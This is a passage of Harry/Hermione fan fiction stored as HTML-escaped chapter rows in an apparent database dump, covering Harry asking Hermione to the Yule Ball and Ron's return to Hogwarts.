&#8220;Holidays or not, I&#8217;m still going to study. Are you going to come \nwith?&#8221;</p>\n<p>&#8220;Sure thing,&#8221; he answered. Hermione grinned and pointed behind him in the \ndirection of the library, also turning him around. She put her hands on his \nshoulders and gave him a soft push as if to say &#8216;go&#8217;. Her hands remained there \nwhile they walked for quite sometime before she took them off. Harry noticed \nthis of course and his soul danced happily. </p>\n<p>As they both walked down several corridors, Harry noticed a few students \nwhisper to each other as they passed. He knew, of course, what they were talking \nabout. They were talking about Hermione and him finally being alone after Ron&#8217;s \ndeparture. Harry got a feeling that made him want to say something to Hermione. \nSomething to say to hide from her that he knew what people were gossiping about. \nHe slowed down his pace a bit until Hermione came so close to him that her chest \nalmost touched Harry&#8217;s back. He turned his head to the side and whispered softly \nto her. &#8220;Hermione? W-what&#8230;what&#8217;s going on?&#8221;</p>\n<p>&#8220;What Harry?&#8221; she replied putting her head closer to him so that she could \nhear.</p>\n<p>&#8220;What are all these people stammering about?&#8221; he lied. &#8220;What&#8217;d you think \nthey&#8217;re talking about?&#8221;</p>\n<p>&#8220;Shhh,&#8221; she replied, putting a finger to her mouth and giving him another \npush as if to say &#8216;hurry up&#8217;. Harry turned his head around and raised an eyebrow \nto himself, hurrying to the library.</p>\n<p>***</p>\n<p>The two Head-of-Gryffindor-House students sat across from each other in the \nlibrary. Harry has his arms crossed on the table while his eyes moved back and \nforth on his &#8220;Potions Grade 7&#8221; book. He looked up and opened his mouth to ask \nHermione a question but no sound came out. The sight he saw again distracted \nhim. Hermione was taking notes and twirling a single strand of wavy hair that \ncame down the front of her face with her finger. Harry continued to watch \ndreamingly, as she played endlessly with her hair strand and then finally \nbrushed it to the side of her face. Hermione also paused. Even though she was \nlooking at her book, she saw and felt Harry&#8217;s eyes on her, still with his mouth \nopen. She looked up at him. </p>\n<p>&#8220;What?&#8221; she asked self-consciously, brushing her frizzy hair with her \nfingers, &#8220;Do I have something in my hair, Harry?&#8221;</p>\n<p>&#8220;Oh! Oh no Hermione, I just&#8230;&#8221; he said shaking his head, embarrassed. &#8220;I \njust&#8230;&#8221;</p>\n<p>&#8220;What?&#8221;</p>\n<p>&#8220;I&#8230;uh&#8230;wanted to ask you something.&#8221;</p>\n<p>&#8220;Well?&#8221;</p>\n<p>&#8220;I&#8230;uh&#8230;I&#8230;I forgot,&#8221; Harry embarrassingly said, turning slightly pink. Hermione \nscoffed and let her head drop back down to her book, continuing to write.</p>\n<p>&#8220;Wait! I remember!&#8221; Harry lied. Hermione looked back up at him with an \nirritated look on her face. This was Harry&#8217;s chance to redeem himself and he \ndidn&#8217;t want to blow it. &#8220;I&#8230;I uh,&#8221; he stammered, &#8220;I&#8230; was&#8230; wondering...&#8221; Harry \nrealized that his fake question could be followed up by asking her to the ball. \nBut, a sudden voice inside him yelled, &#8220;Not now! Not like this! Not when she&#8217;s \nirked by you.&#8221; </p>\n<p>&#8220;&#8230;what book you were reading?&#8221; he finished.</p>\n<p>&#8220;This?&#8221; Hermione replied, her face looking sort of embarrassed. &#8220;It&#8217;s&#8230;it&#8217;s a \nbook on&#8230;Quidditch. Quidditch Seekers to be more exact.&#8221;</p>\n<p>&#8220;What?&#8221; Harry cried, looking very surprised and excited. It was great that \nHermione showed a little more interest in Quidditch. But Quidditch Seekers? </p>\n<p>&#8220;Since when are you ever that interested in Quidditch Seekers?&#8221; asked Harry, \nhoping that Hermione would give him the answer he wanted.</p>\n<p>&#8220;Since&#8230;since&#8230;&#8221; she started nervously. But she didn&#8217;t get a chance to finish \nbecause Harry interrupted her.</p>\n<p>&#8220;&#8230;you were with Krum.&#8221; he finished, giving a forced smile. &#8220;I should&#8217;ve \nknown. Anyway, go on with your reading Hermione, sorry to interrupt you like \nthat.&#8221;</p>\n<p>&#8220;No Harry, it&#8217;s not that. It&#8217;s when&#8230;&#8221; she paused. Harry waited for her to \nanswer. &#8220;&#8230;it&#8217;s when I noticed what an excellent Seeker you&#8217;ve become.&#8221; </p>\n<p>Harry turned bright scarlet when he heard this. And so did Hermione. It meant \nso much to him getting a compliment like that. It felt even more special to him \nsince it came from Hermione. </p>\n<p>&#8220;You really think I&#8217;m good?&#8221; he asked, still slightly red.</p>\n<p>&#8220;Good!? I said you&#8217;re excellent!&#8221; she exclaimed. This made Harry turn even \nredder. &#8220;Can I ask you something?&#8221;</p>\n<p>&#8220;Well you just did Hermione,&#8221; replied Harry jokingly, grinning at her.</p>\n<p>She grinned back at him and continued. &#8220;Can I fly with you on your broomstick \nsometime? I just want to see how it feels.&#8221;</p>\n<p>Harry&#8217;s eyes widened at Hermione&#8217;s request. And, of course, he couldn&#8217;t \nrefuse. </p>\n<p>&#8220;Of course my fellow Head Girl. It&#8217;ll be an honor,&#8221; said Harry, trying to \nmake it sound as casually as possible.</p>\n<p>&#8220;Oh, Harry thank you!&#8221; she exclaimed and got up and took her book with her as \nthough she was going for another one. But to Harry&#8217;s surprise, she walked around \nthe table to Harry, bent down and kissed him right on the cheek. &#8220;Thanks again \nHarry. You&#8217;re the best!&#8221; she said. </p>\n<p>Harry felt a great sense of warmth flow through his body and he had to close \nhis eyes to prevent himself from fainting. He opened his eyes and looked at \nHermione, smiling. &#8220;I&#8217;m going to get another book,&#8221; she told him and trotted \noff. </p>\n<p>Harry nodded and went into a blank stare. &#8220;<i>She kissed me. Again</i>,&#8221; \nHarry thought to himself, as he remembered one other time Hermione had kissed \nhim on his cheek in their 4th year at Hogwarts. He hadn&#8217;t forgotten that first \nkiss that she had given him. Of course, at the time, he accepted it as a \nfriendly kiss and nothing more. Now it meant something more to him. He wished it \nwere a kiss out of love, not out of friendship. &#8220;<i>Why did she kiss me again? \nWhat does it really mean? Is she feeling what I&#8216;m feeling? Does she know that \nI&#8216;m in love with her?</i>&#8221; he wondered. </p>\n<p>At that point, his conscious jumped. &#8220;<i>That&#8217;s it</i>!&#8221; a voice in his head \ncried, &#8220;<i>You&#8217;re in love with Hermione!</i>&#8221; Harry himself, jumped at this \nthought. Although he had found himself thinking about Hermione more often, \ntalked about asking her to the ball with Ron, and even Ron implied that Harry \nliked her, Harry never actually said or admitted to anyone or himself that he \nwas in love with Hermione. After a quick smile to himself, he was shaken from \nhis trance because he saw Hermione make her way back to the table.</p>\n<p>&#8220;Found it!&#8221; she exclaimed slamming the book on the table. It was a very thick \nbook and it looked very new. Harry looked on the cover. It was titled, <i>Famous \nAnd Well-Known Seekers</i>. &#8220;Who knows Harry,&#8221; she continued, &#8220;maybe you&#8217;re in \nhere somewhere. I think you might be, it&#8217;s the newest edition.&#8221; </p>\n<p>Harry chuckled, &#8220;don&#8217;t strain yourself Hermione,&#8221; as she immediately started \nturning through pages, grinning herself. &#8220;Hermione?&#8221; he asked. She looked up \ntoward him. &#8220;What&#8217;d you think those people in the corridors were snickering \nabout as we passed them? Do you think they were talking about us?&#8221;</p>\n<p>&#8220;Oh!&#8221; exclaimed Hermione. Harry noticed that she turned a slight shade of \npink. &#8220;That. Well&#8230;it&#8217;s been going on for awhile now&#8230;but they think&#8230;&#8221;</p>\n<p>&#8220;Yes?&#8221; asked Harry, looking very interested.</p>\n<p>&#8220;They think that finally, after all these years&#8230;&#8221; she hesitated to answer. \n&#8220;&#8230;were finally a couple.&#8221; She then turned slightly scarlet.</p>\n<p>Harry&#8217;s eyes widened. He didn&#8217;t know whether to act happy or surprised. It \nmade him feel good, having people think and talk about him and Hermione being a \ncouple. It felt even better hearing it from Hermione. &#8220;Oh&#8230;well, silly them,&#8221; he \nsaid casually, &#8220;we really have them guessing don&#8217;t we?&#8221;</p>\n<p>&#8220;Yeah we do! I mean they think that because&#8230;since&#8230;. were always together,&#8221; \nadded Hermione.</p>\n<p>Harry felt a sense of joy run through his body. It felt as warm as jumping \ninto a hot tub after a cold swim. He looked at the new book Hermione was looking \nat, then up at her. &#8220;Hermione?&#8221; he called again.</p>\n<p>&#8220;Not now Harry,&#8221; she protested. &#8220;I&#8217;m trying to look for-</p>\n<p>Harry put his hand on top of hers to stop Hermione from flipping through \npages. She looked up at him and again their eyes met. This time Hermione didn&#8217;t \nlook casually at Harry. She looked more concerned and more interested in what he \nhad to say. </p>\n<p>&#8220;Yes Harry?&#8221; she asked softly.</p>\n<p>&#8220;I need to talk to you.&#8221;</p>\n<p>&#8220;You are talking to me.&#8221;</p>\n<p>Harry let out a smile. A real smile he hadn&#8217;t let out in days. Hermione \nimmediately saw it. </p>\n<p>&#8220;There&#8217;s the smile I know and love from Mr. Harry Potter! Feels good doesn&#8217;t \nit?&#8221;</p>\n<p>Harry smile widened. He nodded and continued. &#8220;I need to talk to you alone. \nPrivately. After everyone is asleep.&#8221; </p>\n<p>Hermione didn&#8217;t even seem to think. &#8220;Oh! Ok. Where and what time?&#8221; she \nasked.</p>\n<p>&#8220;Half-past 10. In the Gryffindor common room.&#8221;</p>\n<p>&#8220;Ok, I&#8217;ll be there,&#8221; she answered without question, not having the slightest \nidea what Harry wanted to talk about with her that late at night. Harry, on the \nother hand, knew very well what he was going to say. He was going to ask her to \nThe Yule Ball.</p>\n'),
	(160, 4, '<b>\n<p align="center">CHAPTER 4 - The Task</p></b>\n<p align="center"></p>\n<p>&nbsp;</p>\n<p>Harry sat and waited impatiently for Hermione in the Gryffindor common room. \nHe looked up at the clock. 11:03. He waited for more than half an hour and \nHermione still hadn&#8217;t shown up. He sighed and lay down on the couch running his \nfingers through his through his untidy hair. He took off his glasses to wipe his \nsomewhat watery eyes and pinched himself between them, which was now tightly \nshut. &#8220;Why isn&#8217;t she here?&#8221; he said quietly to himself. &#8220;She must&#8217;ve not cared \nand taken this as one big joke. Or maybe she just forgot about me completely.&#8221; \n</p>\n<p>Harry sighed sadly again. &#8220;Looks like I&#8217;m not important enough for Ms. \nGranger to remember me.&#8221; </p>\n<p>His eyes became watery again. It pained him at the thought of Hermione \nforgetting about him and not showing up. &#8220;So this is what rejection feels like \nhuh? Oh well. Better luck next time Harry.&#8221;<br><br>He replaced his glasses back \non his face and stared up at the ceiling continuing to talk to himself, feeling \nthe color fade from his skin. &#8220;Who would&#8217;ve thought that loving someone would be \nso painful? I thought it was supposed to bring you happiness. Then why do I feel \nlike&#8230;like this?&#8221;</p>\n<p>He gave a very deep and long exhale, trying to blow out all his sadness. \nTears of pain and sorrow slowly made its way back into his eyes. The pain was \ntoo overwhelming for him and he found himself closing his eyes and dozing \noff&#8230;</p>\n<p>Harry had kept his eyes closed to what felt to him like forever. Not wanting \nto wake up in the day and having to see Hermione&#8217;s face and confronting her. \nAfter some slow dreaming, he could feel someone shaking him, trying to wake him \nup.</p>\n<p>&#8220;Harry? Harry?&#8221; whispered a soft, familiar voice from his right. He opened \nhis eyes to find himself face-to-face with the Head Girl of Gryffindor \nHouse.</p>\n<p>&#8220;Hermione?&#8221; he said uneasily, not knowing if he was still dreaming or not, \nsitting up.</p>\n<p>&#8220;Yes Harry. Me.&#8221;</p>\n<p>&#8220;What time is it?&#8221;</p>\n<p>&#8220;It&#8217;s 3 in the morning Harry.&#8221;</p>\n<p>&#8220;Your late,&#8221; he said bitterly, as he stood up in front of Hermione.</p>\n<p>&#8220;I&#8217;m so sorry Harry,&#8221; she said. And she truly looked it. &#8220;I couldn&#8217;t leave \nbecause the other 7th year girls were getting conspicuous about me leaving in \nthe middle of the night.&#8221; </p>\n<p>Harry blinked, saying nothing, giving her the signal to keep going. &#8220;They \ndidn&#8217;t,&#8221; she continued, &#8220;fall sleep till about 2. I just lay down thinking that \nyou weren&#8217;t in the common room anymore. I couldn&#8217;t sleep because I felt so bad \nabout leaving you hanging like that. So, I just came down just to check and&#8230;here \nwe are.&#8221;</p>\n<p>Harry continued to stare at Hermione, not sure whether to believe her or not. \nHow could he stay mad at her? She looked so beautiful&#8230;even when apologizing. \nHarry just nodded his head and grinned, as if saying &#8216;I forgive you&#8217;. Hermione \nlooked so delighted when Harry smiled at her. She grinned back as if to give him \nan understanding that she knew her apology had been accepted. </p>\n<p>&#8220;Well,&#8221; she said, breaking the long silence, &#8220;what&#8217;d you want to talk about \nthat&#8217;s so important?&#8221;</p>\n<p>&#8220;Oh!&#8221; exclaimed Harry. He had been so caught up in seeing her that he had \nalmost forgot why he had asked her to meet him in the first place. &#8220;Are \nyou&#8230;um&#8230;going to the&#8230;Yule Ball?&#8221;</p>\n<p>&#8220;Yes I am Harry. Why?&#8221;</p>\n<p>&#8220;With who?&#8221; he questioned, hoping that she would give him the right answer. \nShe did.</p>\n<p>&#8220;Nobody. I mean, no one has asked me.&#8221;</p>\n<p>Harry couldn&#8217;t take it anymore. All the tension in his body was building and \nif he didn&#8217;t say anything now, he would explode. &#8220;Wangoballwithme?&#8221; he said with \nhis tongue all twisted, like when he asked Cho Chang to the Yule Ball in his 4th \nyear.</p>\n<p>&#8220;What?&#8221; Hermione replied, trying to look confused. Even though Harry hadn&#8217;t \nsaid EXACTLY what he wanted to, she understood very well what he was trying to \nask. &#8220;<i>Weird.&#8221; </i>she thought , &#8220;<i>I&#8217;m actually excited!&#8221;</i></p>\n<p>&#8220;I didn&#8217;t understand you Harry,&#8221; she lied.</p>\n<p>&#8220;Hermione, may I have the honor of taking you to the Yule Ball?&#8221; he said. \n&#8220;<i>WOW</i>!&#8221; he thought to himself, &#8220;<i>where did that come from</i>?&#8221;</p>\n<p>Hermione herself looked shocked at the way Harry asked her to the Ball. But, \nshe didn&#8217;t even have to think to give him an answer.</p>\n<p>&#8220;Of course Harry!&#8221; she softly shouted, &#8220;I&#8217;d love to go with you!&#8221; And with \nthat, she threw her arms around him.</p>\n<p>Harry, of course, thought this was going to be a lot harder than he thought. \nHe just hugged Hermione back, feeling the warmth of her body. The hug soon \nbroke, but they kept their arms around each other as their eyes met once again. \nThey both stared at each other, as if they were experiencing an episode of \nlove-at-first-sight. Harry felt this and so did Hermione. However, they dared \nnot share what they were feeling.</p>\n<p>Harry loved her for everything that she was. The bossy, always reading or \nstudying, know-it-all, teacher&#8216;s pet, Hermione. Not strictly because she was \nbeautiful, smart, and helped him with his work. But because&#8230;you can&#8217;t really \npick and choose who you fall in love with. It just happens. And because there&#8217;s \nan unexplainable reason why you fall in love. </p>\n<p>&#8220;Hermione,&#8221; said Harry, breaking their look, &#8220;we better head to bed and get \nsome sleep.&#8221; </p>\n<p>Hermione nodded. With that, Harry took her hand and walked her up to the \ngirls&#8217; dormitories. He was filled with too much adrenaline of love to hold \nanything back. At the door, Harry looked down at her, put his index finger under \nher chin to make her look at him, leaned down toward her, and kissed her on the \ncheek. &#8220;Night, Hermione.&#8221; he replied.</p>\n<p>It was her turn to be on the receiving end as she dreamingly smiled back at \nhim. &#8220;Night Harry,&#8221; she replied. </p>\n<p>Harry turned around and slowly walked up to the boys&#8217; dormitories. He hadn&#8217;t \nwalked more than two-steps when Hermione called to him.</p>\n<p>&#8220;Love you.&#8221;</p>\n<p>Harry stopped dead in his tracks. Taking in what he just heard. He, of \ncourse, didn&#8217;t take it really big. More of a friendly &#8216;love you&#8217; not knowing how \nHermione really felt about him. He turned halfway around and replied, &#8220;I love \nyou too, Hermione.&#8221; and smiled.</p>\n<p>She smiled back and opened the door to the girls&#8217; dorm and shut it behind \nher. Harry did the same, feeling very content with himself. As he changed and \nlay down in his bed, he had no trouble falling asleep as he dreamed about \nHermione&#8230;</p>\n<p>***</p>\n<p>Hermione, on the other hand, was not falling asleep so well. She was too \nexcited. Finally, she was going to a ball to someone she really knew and liked, \nthis of course, being Harry Potter. The Boy-Who-Lived. Her best friend for 7 \nyears.</p>\n<p>In their brief embrace back in the common, Hermione looked at Harry for the \nfirst time, not as a friend, but as a potential boyfriend. Yes, she too was in \nlove with Harry, but too stupid to realize and admit it with all the stress of \nschool. She remembered when she first started thinking of Harry as more than her \nbest friend. It was when they were leaving Hogwarts after Harry&#8217;s big \nconfrontation with You-Know-Who. She was so happy that Harry was alive and so \ncaught up in emotions that she gave him a kiss on the cheek right before they \nsaid good-bye. The reaction she got from Harry wasn&#8217;t really what she wanted and \nthat&#8217;s when she realized to get over her feelings for him. Over the next few \nyears, the feelings slowing went away. Not dying, but becoming dormant. </p>\n<p>She had been getting inexplicable feelings when they entered their 7th year. \nFeelings since Viktor Krum was part of her life. She realized several things \nabout Harry. How much nicer he had been to her than Ron at Hogwarts as the years \nwent by, especially this year. The bitter look on his face anytime she would get \nTOO close to Ron. Looks of jealousy. But, of course, she buried this thought of \nher and Harry together. Anxiety got the best of her and she became scared to say \nanything, hiding her hidden love, worried that a friendship would be ruined. \nScared that Harry didn&#8217;t feel that same way she did. She remembered the time in \ntheir 4th year when there was a supposed love triangle between herself, Harry \nand Krum. Even though she, Ron, and Harry agreed that it was rubbish and it was \njust Rita Skeeter writing nonsense, deep down it was true. At least in her point \nof view.</p>\n<p>She HAD begun to notice a change in Harry&#8217;s behavior, particularly, around \nher. He had been giving signals that shown he was interested, but Hermione, \nbeing the person she was, took them for nothing more than mere signs of friendly \naffection, being that she was the only girl he really hung around with. \n&#8220;<i>Could he REALLY be in love with me</i>?&#8221; she thought to herself, as she sat \non her bed.</p>\n<p>She could recall times where there were <i>possibilities </i>that Harry could \nhave liked her. It started from their 5th year around Christmas when Harry had \ngiven her (to her looks of it) a very cheap present. Sure, it was still the \nthought that counted, but it was nothing compared to what he had given her \nbefore. It was a small box of chocolates wrapped in brightly colored pink paper. \nLittle did she know that that was only <i>part</i> of his gift to her. Later \nthat night, after the Christmas feast, he pulled her into an empty corridor and \ntook out a black box, which looked like a box for a wand, out of his pocket. \nWhen she opened it, she found, to her surprise, a golden necklace with a magical \nshade of scarlet red, matching their Gryffindor colors. The chain pattern of the \nnecklace criss-crossed and intertwined in such a way that it spelled, in a \ncursive writing, &#8220;Hermione&#8221; going all the way around it. Attached to it was a \ndime-sized three-dimensional diamond heart.</p>\n<p>&#8220;It&#8216;s a Happiness-Charm Necklace,&#8221; Harry explained, seeing the confused, yet \nhappy look on her face. &#8220;The heart pendant on it glows light blue when the \nwearer becomes happy. The brighter the color, the happier the person is. The \nthing special about it is, I&#8217;ve charmed it to only abide by how YOU feel.&#8221; Sure \nenough, just like Harry had said, the pendant begun to glow a bright blue, about \nthe same shade of blue that Hermione was so fond of.</p>\n<p>&#8220;Thank you SO much Harry!&#8221; exclaimed Hermione, giving him the biggest hug \never. &#8220;This is the best present that I&#8217;ve ever got.&#8221;</p>\n<p>Harry only had one request. Whenever she would wear it, she would have to \nwear it hidden under the collar of her shirt, keeping it out of sight. If anyone \nby any chance would see it, she didn&#8217;t get it from Harry. There were reasons for \nthis, as Harry explained, that he didn&#8217;t want people knowing that he sent that \nkind of money on her, but to him, it was well worth it. She accepted without \nhesitation. She realized that it would glow its brightest on two different \noccasions. When she got high marks and whenever she was around Harry. She also \nrealized that the pendant glowed brighter and brighter each day she say \nHarry.</p>\n<p>As the Valentines ball came nearer, she noticed as how upset Harry was when \nhe witnessed Ron ask her to the ball right in from of him. He tried not to show \nis anger, but rather faked his happiness for Ron and her. Hermione saw right \nthrew him and asked herself, &#8220;<i>Why was Harry so upset? Shouldn&#8217;t he be happy \nfor Ron instead? Was he showing signs of&#8230;jealousy?</i>&#8221; This made Hermione smile \non the inside. Not because Harry was upset, but because it was cute and sweet \nthat Harry was jealous of Ron for asking her. However, it pained her to see him \nlike that. </p>\n<p>At the ball, she kept looking over at Harry, seeing his distraught look one \nafter another. He had attended with Parvati Patil. After talking with Ron to see \nif it was ok, she got up and when over to Harry and offered him a dance, which \nhe happily took. She noticed how many cheers, hoots, oh&#8217; s, and ah&#8217;s, were \nshouted as they made their way on the dance floor. Harry, feeling proud and \nslightly flustered, felt insecure, not pulling Hermione close to him, but rather \nholding her away from his body. And they danced, one hand on Hermione&#8217;s waist \nand one hand on Harry&#8217;s shoulder, very nervously as it looked sloppy and very \nstiff. But Hermione didn&#8217;t care, as long as Harry was happy.</p>\n<p>In their 6th year, Harry had become very sour at Hermione as she had \nforgotten the necklace he had given her at home. This wasn&#8217;t like her, as she \nwore it at the time but took it off one summer when she had gone swimming to \navoid losing it in the water and not to get it dirty. Of course, Harry did all \nhe could to hide his emotions and told all that nothing was wrong. Filled with \nsadness and rejection, he ignored her. Not zoning her out completely, but not \nbeing as friendly as before. Hermione knew that Harry felt sad and rejected that \nshe forgot the necklace. She did everything in her power to get it back and when \nshe did, Harry had returned to his normal, friendly self.</p>\n<p>7th year is when things started to really heat up. Harry had been EXTRA nice \nto her since they meet at Kings Cross to board the Hogwarts Express. He had \noffered to carry her books and drag along her trunk for her. She also noticed \nthat he was spending quite a bit of time talking to her and not Ron, sort of \nignoring him. However, Harry and Hermione were both informed by Owl Post that \nthey would be Head Boy and Head Girl together for Gryffindor that summer. They \nboth happily flashed their badges to each other when they told each other the \nnews. This could have explained Harry&#8217;s attitude change toward her as they would \nhave to be sort of partners now. And it came down to Harry asking her to the \nupcoming Yule Ball. Something definitely was up with Harry. Hermione just had \nthe know the truth herself.</p>\n<p>As she came back from her trip down memory lane, she looked down and pulled \nout, from under her shirt, the necklace Harry had given her. It would be the \nfirst time in a long time where she really looked at it and it was glowing very \nbrightly. The brightest she had ever seen it glow. </p><i>\n</i><p><i>&#8220;Hermione,&#8221;</i> she thought to herself, <i>&#8220;you&#8217;re being stupid! You&#8217;re think \nfar too ahead of yourself! Harry was just doing all those things because he&#8217;s \nyour</i> friend! <i>And its logical that everyone thinks you two are together. \nHe doesn&#8217;t really hang out with any other girl. And why in the world did you \nsay, &#8216;Love you&#8221; for!? You&#8217;re really going to mess things up! And don&#8217;t worry, \nyou should be happy. Harry&#8217;s friendship means too much to you to risk going out \nwith him&#8230; </i>&#8221;</p>\n<p>A tear slowly ran down her cheek. She quickly wiped it away and smiled. As \nshe lay down on her bed, gripping the pendant tightly in her hand, she found it \na whole lot easier to fall asleep. Whatever she dreamed, whether it be studying \nfor Transfiguration, being in the library, or taking a walk outside, she always \nfound herself coming face-to-face with the untidy, raven-haired, emerald \ngreen-eyed, Head Boy of Gryffindor.</p>\n'),
	(160, 5, '<b>\n<p align="center">CHAPTER 5 - Ron&#8217;s Return</p></b>\n<p>&nbsp;</p>\n<p>Now it was quite clear. Harry and Hermione were in love with one another and \nneither of them knew how each other felt.</p>\n<p>Harry woke up, for the first time in days, feeling rested. He got changed \nrather quickly as he remembered his success in his task early that morning. One \nthing that really stood out was Hermione&#8217;s last comment before they parted. \n</p><i>\n<p>&#8220;Love you,&#8221;</p></i>\n<p>&#8220;What did she mean by that? Did she really mean the love that I want? Or is \nit the friendly love that we already have?&#8221; he asked himself. &#8220;It had to be the \nfriendly kind. Of course it is! She wouldn&#8217;t have it any other way. God Harry, \nyou need to stop twisting people&#8217;s words around. It&#8217;ll make you confused and get \nyou into trouble. Damn her! Why does she keep giving me fake signals like \nthat!?&#8221; After a quick splash of water on his face and giving up to tidy his hair \nhe made his way to the common room, bumping into none other than Hermione.</p>\n<p>&#8220;Morning Harry,&#8221; she greeted smiling.</p>\n<p>&#8220;Morning Hermione. How are you?&#8221;</p>\n<p>&#8220;Never better! How about you?&#8221;</p>\n<p>&#8220;Ditto.&#8221;</p>\n<p>&#8220;Hey Harry? Is it ok if I tell people that you&#8217;re going to be my date for the \nball?&#8221; she asked, looking hopeful that Harry would say &#8216;yes&#8217;.</p>\n<p>&#8220;Ummm&#8230;well&#8230;I can&#8217;t say no,&#8221; Harry replied un easily, &#8220;but, why, may I \nask?&#8221;</p>\n<p>&#8220;I just want to brag to all the girls that I&#8217;ve got Potter all to myself!&#8221; \nshe exclaimed.</p>\n<p>&#8220;Sure, go ahead Hermione, I don&#8217;t mind,&#8221; Harry said, as they both turned the \ncorner and stood next to the doors of the Great Hall.</p>\n<p>Time seemed to go by so fast for Harry that he didn&#8217;t realize that Ron would \nbe returning soon. He and Hermione stood next to the doors, right where Ron said \nhe would be. Sure enough, there was Ron, coming up the stairs toward the Great \nHall, dragging his trunk behind him.</p>\n<p>&#8220;Harry! Hermione!&#8221; he shouted as he made his way tirelessly up the \nstairs.</p>\n<p>&#8220;Hey Ron!&#8221; cried Harry, running over to him to help with the heavy trunk.</p>\n<p>&#8220;Welcome back Ron!&#8221; shouted Hermione, throwing her arms around him. Ron gave \na small jump as Hermione hugged him, his eyes shot directly toward Harry, his \neyes already beaming at him. Ron mouthed an, &#8220;I don&#8216;t know.&#8221; to Harry. After \nHermione let go of him, they walked back down the corridor, heading to the \nGryffindor Common Room. Harry and Ron followed behind Hermione. When Ron knew he \nwas out of earshot from Hermione, he whispered over to Harry.</p>\n<p>&#8220;Sorry about back there Harry, I had nothing to do with that,&#8221; Ron said, \nreferring to Hermione&#8217;s WARM welcome.</p>\n<p>&#8220;It&#8217;s ok Ron,&#8221; </p>\n<p>&#8220;So any luck with Hermione, mate&#8221; he asked. He was referring to Harry asking \nher to the ball.</p>\n<p>So Harry told him. About the time and patience he took to ask her, with \nHermione not objecting to go. Harry just about told Ron everything when they \nreached the Gryffindor Common room.</p>\n<p>&#8220;Good job Harry! Knew you could do it!&#8221;</p>\n<p>Over the next few weeks, Hermione&#8217;s attitude, to Harry, had changed. She went \nback into her &#8220;Hermione&#8221; state. Snapping at Harry and Ron whenever he would not \npay attention or study hard in class. She seemed to have forgotten completely \nabout the Yule Ball that she was so excited about. Harry didn&#8217;t even notice. He \nwas so used to Hermione&#8217;s usual attitude, it was like second nature.</p>\n<p>As Harry, Ron, and Hermione walked down halls to classes, boys would snicker \nand girls would giggle at them. Harry, seeing the confused look on Ron&#8217;s face, \ntold him to ignore it.</p>\n<p>&#8220;Ron, who are you going to the Yule Ball with,&#8221; Hermione asked, curiously. It \nwould be the first time in a long time she had even talked about the Ball.</p>\n<p>&#8220;Lavender. Lavender Brown. I was kind of shocked and surprised that she said \n&#8216;yes&#8217;. Thought it would&#8217;ve taken a little more begging. Why? Who are YOU going \nwith Hermione?&#8221; Ron asked her, sarcastically, quickly glancing over at Harry and \nwinking.</p>\n<p>&#8220;Oh!&#8221; said Hermione looking taken aback. She was so sure that Harry had \nalready told him. &#8220;I&#8217;m&#8230;I&#8217;m going with&#8230;&#8221;</p>\n<p>&#8220;Viktor Krum?&#8221; finished Ron, pretending. &#8220;Don&#8217;t tell me you&#8217;ve invited him \nover here!&#8221;</p>\n<p>&#8220;No no. Not him.&#8221;</p>\n<p>&#8220;Who then?&#8221;</p>\n<p>&#8220;Harry&#8230;&#8221; Hermione said, turning bright red.</p>\n<p>&#8220;Oh really! WOW that&#8217;s fantastic! Was wondering when you would finally live \nit up!&#8221; Ron said, shaking Harry&#8217;s hand. He winked at him again. Ron, of course, \nknew who she was going with. He just wanted the fun of hearing it from \nHermione&#8216;s mouth. &#8220;Good job, Harry&#8221;</p>\n<p>&#8220;Thanks, Ron&#8221; he said, turning as red as Ron&#8217;s hair. Hermione had come over \nto Harry and put her arm around him as if to make it official to Ron that they \nwere going to the Ball together.</p>\n<p>&#8220;Wicked!&#8221; Ron shouted, &#8220;you two will be the best looking couple there!&#8221;</p>\n<p>Harry and Hermione looked at each other and smiled, happy that Ron was just \nas excited as they were.</p><b>\n<p>&nbsp;</p></b>\n<p>&nbsp;</p>\n'),
	(160, 6, '<b>\n<p align="center">CHAPTER 6 - Harry&#8217;s Next Problem</p></b>\n<p>&nbsp;</p>\n<p>As the Yule Ball sneaked closer and closer, a thought crossed Harry&#8217;s mind \nwhile playing a game of Wizard&#8217;s Chess that nigh with Ron in the Great Hall. \n</p>\n<p>&#8220;Ron?&#8221; Harry said, as his Castle knocked one of Ron&#8217;s Pawns off the board, &#8220;I \nhaven&#8217;t anything to wear.&#8221;</p>\n<p>&#8220;Sure you do,&#8221; Ron answered, his Knight slicing Harry&#8217;s Castle in half, &#8220;just \nwear another robe tomorrow. I mean, since when DON&#8217;T you have anything to \nwear!&#8221;</p>\n<p>&#8220;Not for tomorrow dummy!&#8221; Harry yelled, getting frustrated, as his Bishop \ntoppled another pawn. &#8220;For the Yule Ball!&#8221;</p>\n<p>&#8220;Oh!&#8221; cried Ron, feeling stupid, moving his Knight toward Harry&#8217;s Queen. A \nsmile flashed across the face Ron.</p>\n<p>&#8220;What&#8217;s the smile for?&#8221; Harry asked, still upset.</p>\n<p>&#8220;Not to worry Harry,&#8221; Ron said, &#8220;I knew something like this would happen so, \nI got a little help from mum while I was away.&#8221;</p>\n<p>&#8220;What!?&#8221; exclaimed Harry, no longer looking upset, but rather excited.</p>\n<p>Ron didn&#8217;t answer. He just sat there, still with the same grin on his \nface.</p>\n<p>&#8220;Oh yeah! One more thing,&#8221; Ron said. Harry looked up toward him. \n&#8220;CHECKMATE!&#8221;</p>\n<p>With that, Ron grabbed Harry by the collar of his robes and tugged him all \nthe way to the boys&#8217; dormitories. Ron lead Harry all the way to his trunk and \nopened it up to pull out a silk-like black bag.</p>\n<p>&#8220;Here,&#8221; he said, handing it toward Harry, still smiling, &#8220;from my mum.&#8221;</p>\n<p>Harry looked inside the bag but couldn&#8217;t see anything. Whatever it was, it \nwas dark. He put his hand inside, felt a soft fabric, and pulled out its \ncontents. Harry&#8217;s face lit up as he came face-to-face with brand-new dress \nrobes. The dress robes were midnight blue and around the hemming of the collar, \nthe sleeves, and the bottom, there was a sky blue trim. </p>\n<p>&#8220;Wow Ron,&#8221; said Harry, astonished. &#8220;This is marvelous.&#8221;</p>\n<p>&#8220;Yeah,&#8221; said Ron, casually. &#8220;Told mum about your little task, and she \nvolunteered to help out. She thought that would be the perfect one for you to \nwear for Hermione. Even thought she&#8217;s not wearing it, you know how much she \nfancies blue!&#8221;</p>\n<p>&#8220;You&#8217;re right about that,&#8221; said Harry, still admiring the dress robes. \n&#8220;Thanks again Ron, this is the best!&#8221;</p>\n<p>&#8220;Anytime mate!&#8221; Ron said, leaning back into his chair, sighing.</p>\n<p>Harry made his way toward his trunk, took out an small pouch, and tossed it \nto Ron.</p>\n<p>&#8220;Half of its 